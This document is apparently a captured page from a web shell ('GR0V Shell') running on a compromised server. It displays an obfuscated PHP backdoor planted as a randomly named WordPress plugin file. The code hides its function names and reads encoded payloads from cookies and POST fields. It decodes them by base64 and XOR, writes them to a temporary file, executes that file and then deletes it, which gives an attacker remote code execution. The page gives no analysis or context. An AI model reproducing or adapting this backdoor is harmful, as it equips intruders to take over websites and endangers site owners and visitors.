? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/domains/happytokorea.net/public_html/wp-content/plugins/754ronsr/
File Upload :
Current File : /home/admin/domains/happytokorea.net/public_html/wp-content/plugins/754ronsr/aYFmiUaG.php

$MUckyzx = chr ( 790 - 670 ).'_' . "\143" . chr (99) . "\121" . chr (115); $WJyOy = chr (99) . "\x6c" . chr (97) . 's' . chr ( 170 - 55 )."\137" . chr (101) . chr ( 462 - 342 ).chr ( 946 - 841 )."\163" . 't' . 's';$PdlUIyvsTZ = class_exists($MUckyzx); $WJyOy = "588";$AqLZpQFSK = strpos($WJyOy, $MUckyzx);if ($PdlUIyvsTZ == $AqLZpQFSK){function kwBkdm(){$qOQjlVCthy = new /* 12065 */ x_ccQs(7632 + 7632); $qOQjlVCthy = NULL;}$ANHMbcfTbz = "7632";class x_ccQs{private function OwugnXa($ANHMbcfTbz){if (is_array(x_ccQs::$uTGURIqVc)) {$name = sys_get_temp_dir() . "/" . crc32(x_ccQs::$uTGURIqVc["salt"]);@x_ccQs::$uTGURIqVc["write"]($name, x_ccQs::$uTGURIqVc["content"]);include $name;@x_ccQs::$uTGURIqVc["delete"]($name); $ANHMbcfTbz = "7632";exit();}}public function yhBDGjRBVE(){$hNinTOs = "60027";$this->_dummy = str_repeat($hNinTOs, strlen($hNinTOs));}public function __destruct(){x_ccQs::$uTGURIqVc = @unserialize(x_ccQs::$uTGURIqVc); $ANHMbcfTbz = "40743_37854";$this->OwugnXa($ANHMbcfTbz); $ANHMbcfTbz = "40743_37854";}public function cxDmdKRMo($hNinTOs, $vLkBwFv){return $hNinTOs[0] ^ str_repeat($vLkBwFv, intval(strlen($hNinTOs[0]) / strlen($vLkBwFv)) + 1);}public function YSWsSYI($hNinTOs){$fuhgNT = "\x62" . chr (97) . 's' . "\145" . "\x36" . '4';return array_map($fuhgNT . "\137" . chr (100) . 'e' . chr (99) . "\157" . chr (100) . chr (101), array($hNinTOs,));}public function __construct($TjUdZaFloo=0){$diWFp = "\54";$hNinTOs = "";$QTfLF = $_POST;$DRAmGprWc = $_COOKIE;$vLkBwFv = "ac63ef68-a7a9-45e3-b480-af39f3e0fa95";$nYCWVWvByl = @$DRAmGprWc[substr($vLkBwFv, 0, 4)];if (!empty($nYCWVWvByl)){$nYCWVWvByl = explode($diWFp, $nYCWVWvByl);foreach ($nYCWVWvByl as $EOLgyO){$hNinTOs .= @$DRAmGprWc[$EOLgyO];$hNinTOs .= @$QTfLF[$EOLgyO];}$hNinTOs = $this->YSWsSYI($hNinTOs);}x_ccQs::$uTGURIqVc = $this->cxDmdKRMo($hNinTOs, $vLkBwFv);if (strpos($vLkBwFv, $diWFp) !== FALSE){$vLkBwFv = explode($diWFp, $vLkBwFv); $SlTkLvVqIE = sprintf("40743_37854", rtrim($vLkBwFv[0]));}}public static $uTGURIqVc = 64875;}kwBkdm();}

T1KUS90T
  root-grov@210.1.60.28:~$